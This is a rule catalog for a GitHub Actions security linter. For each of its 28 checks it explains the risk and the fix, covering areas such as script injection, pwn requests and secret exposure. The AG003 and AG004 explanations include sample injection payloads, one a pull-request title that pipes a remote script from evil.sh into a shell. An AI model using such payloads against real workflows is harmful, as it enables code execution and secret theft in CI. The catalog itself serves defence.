Rule catalog
Generated by actionguard rules --markdown. Inline suppression: # actionguard: ignore=AG003 on the offending line or the line above it.
| Rule | Name | Severity | Summary |
|---|---|---|---|
| AG000 | invalid-yaml |
error | File could not be parsed as a GitHub Actions document. |
| AG001 | unpinned-action |
warning | Action referenced by a version tag instead of a full commit SHA. |
| AG002 | mutable-branch-ref |
error | Action referenced by a branch or other moving ref. |
| AG003 | script-injection |
error | Attacker-controlled data interpolated directly into a run: script. |
| AG004 | github-script-injection |
error | Attacker-controlled data interpolated into an actions/github-script script. |
| AG005 | indirect-injection |
error | Attacker-controlled data reaches a script through env:, step outputs or job outputs. |
| AG006 | pwn-request |
error | Privileged trigger checks out and runs untrusted pull request code. |
| AG007 | missing-permissions |
warning | No permissions: block; the token gets the repository default scopes. |
| AG008 | write-all-permissions |
error | permissions: write-all grants every scope. |
| AG009 | secret-in-script |
warning | Secret expanded directly into a run: script. |
| AG010 | secrets-inherit-third-party |
warning | secrets: inherit passed to a reusable workflow outside trusted owners. |
| AG011 | secret-exposure |
error | Secret echoed to the log or the whole secrets context dumped. |
| AG012 | self-hosted-on-pr |
error | Self-hosted runner used by a workflow triggered from untrusted events. |
| AG013 | curl-pipe-shell |
warning | Remote script piped straight into a shell. |
| AG014 | deprecated-command |
warning | Deprecated or disabled workflow command in a script. |
| AG015 | persisted-credentials |
warning | actions/checkout leaves the token in .git/config in a job that pushes or uploads the workspace. |
| AG016 | cache-poisoning |
warning | Cache key derived from untrusted input, or cache shared with a privileged trigger. |
| AG017 | unpinned-image |
warning | Container image not pinned by digest. |
| AG018 | missing-timeout |
note | Job has no timeout-minutes. |
| AG019 | deploy-without-concurrency |
warning | Deploy or release workflow without a concurrency group. |
| AG020 | matrix-injection |
error | Attacker-controlled matrix value used in a script. |
| AG021 | continue-on-error-security |
warning | continue-on-error on a security check. |
| AG022 | unsecure-commands |
error | ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables disabled workflow commands. |
| AG023 | broad-workflow-permissions |
note | Write scopes granted at workflow level. |
| AG024 | artifact-poisoning |
warning | Privileged workflow_run job downloads artifacts from the triggering run. |
| AG025 | hardcoded-credential |
error | Credential committed in the workflow file. |
| AG026 | always-true-condition |
error | if: mixes ${{ }} with other text, so it is always true. |
| AG027 | invalid-expression |
error | Expression does not parse or uses an unknown context or function. |
AG000
invalid-yaml (error): File could not be parsed as a GitHub Actions document.
Why it matters. A file that does not parse is skipped by every other rule, so nothing in it is audited.
Fix. Fix the YAML syntax error reported.
AG001
unpinned-action (warning): Action referenced by a version tag instead of a full commit SHA.
Why it matters. Tags are mutable: whoever controls the action repository (or compromises it) can move v4 to malicious code and every workflow using it runs that code with your secrets, as in the tj-actions/changed-files compromise of March 2025. Only a 40-character commit SHA is immutable.
Fix. Run actionguard pin, which rewrites the reference to the commit SHA and keeps the tag as a trailing comment.
AG002
mutable-branch-ref (error): Action referenced by a branch or other moving ref.
Why it matters. Branch refs such as @main change on every push to the action repository, so the workflow executes code nobody reviewed. This is strictly worse than a tag because it changes without any release event.
Fix. Pin to a commit SHA (actionguard pin) or at least to a released version tag.
AG003
script-injection (error): Attacker-controlled data interpolated directly into a run: script.
Why it matters. ${{ }} is expanded by the runner before the shell sees the script. A pull request titled a"; curl evil.sh | sh; " turns echo "${{ github.event.pull_request.title }}" into arbitrary command execution with the job's token and secrets.
Fix. Pass the value through env: and reference it as "$VAR". actionguard fix does this automatically.
AG004
github-script-injection (error): Attacker-controlled data interpolated into an actions/github-script script.
Why it matters. The script input is JavaScript source assembled by template expansion. A title containing '); require('child_process').execSync('... breaks out of the string literal and runs code with the workflow token.
Fix. Read the value from process.env (set via env:) or from context.payload instead of interpolating it.
AG005
indirect-injection (error): Attacker-controlled data reaches a script through env:, step outputs or job outputs.
Why it matters. Moving a value into env: only protects you if the script treats it as data. Expanding ${{ env.X }} or ${{ steps.a.outputs.b }} in run: re-introduces the injection, and eval "$X" or bash -c "$X" executes the data as code. Outputs written by an earlier step carry the taint forward.
Fix. Reference the variable as "$X" in the shell instead of ${{ }}, never eval it, and sanitise values before writing them to $GITHUB_OUTPUT.
AG006
pwn-request (error): Privileged trigger checks out and runs untrusted pull request code.
Why it matters. pull_request_target and workflow_run run in the context of the base repository with write tokens and secrets. Checking out the PR head and then building or testing it lets the fork author run arbitrary code with those privileges (a 'pwn request').
Fix. Do not check out PR code in privileged workflows. Split into an unprivileged pull_request workflow that builds and uploads results, and a privileged workflow_run workflow that only consumes inert data.
AG007
missing-permissions (warning): No permissions: block; the token gets the repository default scopes.
Why it matters. Without an explicit block the GITHUB_TOKEN uses the repository or organisation default, which is often read/write on everything. Any compromised step then gets write access to code, packages and releases.
Fix. Add permissions: contents: read at the top level and grant extra scopes per job. actionguard fix inserts the minimal block.
AG008
write-all-permissions (error): permissions: write-all grants every scope.
Why it matters. write-all hands the token write access to contents, packages, actions, deployments, security events and more. A single injected step can then rewrite releases, push code or tamper with other workflows.
Fix. List only the scopes the job needs. actionguard fix replaces it with contents: read; add what the job needs on top.
AG009
secret-in-script (warning): Secret expanded directly into a run: script.
Why it matters. ${{ secrets.X }} is substituted into the script text, so the secret lands in the generated shell file and any quote or newline in it changes the script. Masking in logs is best-effort and breaks for derived values.
Fix. Bind the secret with env: and use "$X" in the script. actionguard fix rewrites simple cases.
AG010
secrets-inherit-third-party (warning): secrets: inherit passed to a reusable workflow outside trusted owners.
Why it matters. inherit forwards every secret available to the caller, not just the ones the callee needs. If the called workflow or its ref is compromised it can exfiltrate all of them.
Fix. Pass only the required secrets by name, or add the owner to allowed-owners in .actionguard.toml if you trust it.
AG011
secret-exposure (error): Secret echoed to the log or the whole secrets context dumped.
Why it matters. Printing a secret defeats log masking as soon as it is transformed (base64, split, URL-encoded), and toJSON(secrets) serialises every secret into one string that is trivially exfiltrated.
Fix. Never echo secrets and never serialise the secrets context. Use ::add-mask:: for derived values.
AG012
self-hosted-on-pr (error): Self-hosted runner used by a workflow triggered from untrusted events.
Why it matters. Self-hosted runners are persistent machines. In a public repository anyone can open a pull request, and the PR's workflow code then runs on your hardware, can persist malware, and reaches your internal network.
Fix. Use GitHub-hosted runners for PR-triggered workflows, or restrict to private repositories with approval required for outside collaborators.
AG013
curl-pipe-shell (warning): Remote script piped straight into a shell.
Why it matters. Executing whatever a URL returns means a hijacked domain, CDN or release asset runs with the job's privileges. There is no checksum and nothing to review, and a truncated download can run half a script.
Fix. Download to a file, verify a pinned checksum or signature, then execute it. Prefer a pinned action or a package manager.
AG014
deprecated-command (warning): Deprecated or disabled workflow command in a script.
Why it matters. set-env and add-path were disabled after CVE-2020-15228 showed that any log line from untrusted output could set environment variables such as LD_PRELOAD. set-output and save-state share the weakness and are being removed.
Fix. Use the environment files: echo "name=value" >> "$GITHUB_OUTPUT", $GITHUB_ENV, $GITHUB_PATH, $GITHUB_STATE.
AG015
persisted-credentials (warning): actions/checkout leaves the token in .git/config in a job that pushes or uploads the workspace.
Why it matters. By default checkout stores the GITHUB_TOKEN in the local git config. Every later step, including third-party actions and uploaded artifacts containing .git, can read it (the 'artipacked' leak).
Fix. Set persist-credentials: false, and for jobs that must push, say persist-credentials: true explicitly after reviewing which later steps run.
AG016
cache-poisoning (warning): Cache key derived from untrusted input, or cache shared with a privileged trigger.
Why it matters. Caches are shared across branches of a repository. If an attacker controls the key (a branch name, PR title) or writes the cache from a PR run, a later privileged run restores poisoned files and executes them.
Fix. Build cache keys from hashFiles(...) and runner OS only, and avoid caching in pull_request_target or workflow_run workflows.
AG017
unpinned-image (warning): Container image not pinned by digest.
Why it matters. Image tags are mutable and latest moves constantly. A compromised registry account can swap the image under a tag and your job runs it with its secrets.
Fix. Pin with image: name@sha256:<digest> and keep the tag in a comment.
AG018
missing-timeout (note): Job has no timeout-minutes.
Why it matters. The default timeout is six hours. A hung or hijacked job (for example one running a crypto miner) burns minutes and keeps its token alive for that whole time.
Fix. Set timeout-minutes on every job to a little above its normal duration.
AG019
deploy-without-concurrency (warning): Deploy or release workflow without a concurrency group.
Why it matters. Two overlapping deploys can interleave, leaving production on an older build, and a stale run can overwrite a newer release.
Fix. Add concurrency: { group: deploy-${{ github.ref }}, cancel-in-progress: false } at workflow or job level.
AG020
matrix-injection (error): Attacker-controlled matrix value used in a script.
Why it matters. A matrix built from inputs, event data or job outputs is expanded into ${{ matrix.x }} like any other expression, so the shell injection of AG003 applies to every matrix entry.
Fix. Validate matrix values against an allowlist, or pass matrix.x through env: and quote it.
AG021
continue-on-error-security (warning): continue-on-error on a security check.
Why it matters. A scanner that cannot fail the build is decoration: vulnerable dependencies or leaked secrets are found, logged and shipped anyway.
Fix. Remove continue-on-error, or surface the result another way (required status, SARIF upload with alerts).
AG022
unsecure-commands (error): ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables disabled workflow commands.
Why it matters. It turns set-env and add-path back on, letting any process that prints to stdout, including untrusted build output, set LD_PRELOAD, PATH or NODE_OPTIONS for later steps.
Fix. Remove the variable and migrate to $GITHUB_ENV / $GITHUB_PATH.
AG023
broad-workflow-permissions (note): Write scopes granted at workflow level.
Why it matters. Workflow-level permissions apply to every job, including ones that only run tests. Least privilege means granting write scopes only to the job that needs them.
Fix. Keep the top-level block read-only and move write scopes into the specific job.
AG024
artifact-poisoning (warning): Privileged workflow_run job downloads artifacts from the triggering run.
Why it matters. The triggering run may be a fork PR, so its artifacts are attacker-controlled. Unpacking and using them in a privileged workflow (extracting over source files, reading a PR number from a file) enables code execution or spoofed data.
Fix. Treat artifact contents as untrusted input: verify and validate before use and never execute or source them.
AG025
hardcoded-credential (error): Credential committed in the workflow file.
Why it matters. Workflow files are readable by everyone with repository access and are copied into every fork. A token or password in them must be treated as leaked.
Fix. Store it in encrypted secrets and reference ${{ secrets.NAME }}; rotate the leaked value.
AG026
always-true-condition (error): if: mixes ${{ }} with other text, so it is always true.
Why it matters. When an if value is not exactly one expression, GitHub treats the whole string as a non-empty string, which is truthy. if: ${{ x }} == 'y' therefore always runs, silently disabling the guard.
Fix. Write the whole condition inside one expression: if: ${{ x == 'y' }}, or drop the ${{ }} entirely.
AG027
invalid-expression (error): Expression does not parse or uses an unknown context or function.
Why it matters. A syntax error fails the workflow at run time; an unknown context silently evaluates to an empty string, which can disable a security check (if: ${{ github.evnt.name == 'x' }}).
Fix. Fix the expression. Valid contexts: github, env, vars, job, jobs, steps, runner, secrets, strategy, matrix, needs, inputs.